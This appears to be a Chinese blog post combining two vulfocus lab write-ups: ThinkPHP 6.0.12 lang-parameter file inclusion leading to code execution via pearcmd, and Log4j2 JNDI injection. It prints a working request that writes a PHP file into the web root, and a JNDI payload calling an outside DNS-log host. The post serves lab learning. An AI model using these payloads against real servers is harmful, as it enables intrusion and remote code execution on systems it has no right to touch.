vulfocus复现:thinkphp lang 命令执行(thinkphp:6.0.12)
Posted 有原则的兔子
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了vulfocus复现:thinkphp lang 命令执行(thinkphp:6.0.12)相关的知识,希望对你有一定的参考价值。
目录
2,将phpinfo写到网站根目录下/var/www/html
描述(来自vulfocus):
Thinkphp 是一个快速、简单的面向对象的轻量级 PHP 开发框架,创立于2006年初,遵循Apache2开源协议发布,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。
如果 Thinkphp 程序开启了多语言功能,攻击者可以通过 get、header、cookie 等位置传入参数,实现目录穿越+文件包含,通过 pearcmd 文件包含这个 trick 即可实现 RCE。
漏洞介绍(来自vulfocus):
在其6.0.13版本及以前,存在一处本地文件包含漏洞。当多语言特性被开启时,攻击者可以使用lang参数来包含任意PHP文件。
虽然只能包含本地PHP文件,但在开启了register_argc_argv且安装了pcel/pear的环境下,可以包含/usr/local/lib/php/pearcmd.php并写入任意文件
访问路径诶:/public/index.php
影响版本:
6.0.1 < ThinkPHP≤ 6.0.13
5.0.0 < ThinkPHP≤ 5.0.12
5.1.0 < ThinkPHP≤ 5.1.8
复现:
1,打开靶场,显示没有权限bp拦截
2,将phpinfo写到网站根目录下/var/www/html
public/index.php?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+/var/www/html/shell.php
3,访问shell.php
4,拿到flag
用vulfocus靶场环境复现Log4j2远程命令执行漏洞
声明:文章所提供的内容和工具仅供于个人学习和研究,严禁传播者利用本文章的相关内容进行非法测试。由于传播、利用此文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
用vulfocus启动一个靶场环境,Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。 在大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。攻击者利用此特性可通过该漏洞构造特殊的数据请求包,最终触发远程代码执行。
提示当前环境测试url:http://xxxxx/hello post参数为:payload=xxxxx
访问:http://vulfocus.fofa.so:35273/
扫描后台发现/error、/index.php、/hello
分别访问:
http://vulfocus.fofa.so:35273/error
http://vulfocus.fofa.so:35273/index.php
http://vulfocus.fofa.so:35273/hello
提示:不支持请求方法“GET”
我们可以用burpsuite或者火狐浏览器拦截编辑发送的数据包,这里我们只是简单利用就直接用火狐浏览器演示一下:
将数据提交方式改为POST,在请求主体中随便写点内容
发送:
返回OK提示我们能够成功发送数据包
再编辑重发,注意要加一个Content-Type: application/x-www-form-urlencoded:
构造payload="$jndi:ldap://987r84.dnslog.cn/exp"
之后查看http://www.dnslog.cn/的987r84.dnslog.cn:
有对应的攻击记录,证明存在漏洞。
也可以在本地搭建运行JNDI服务,实现远程任意命令执行。
文章所提供的内容和工具仅供于个人学习和研究,严禁传播者利用本文章的相关内容进行非法测试。
以上是关于vulfocus复现:thinkphp lang 命令执行(thinkphp:6.0.12)的主要内容,如果未能解决你的问题,请参考以下文章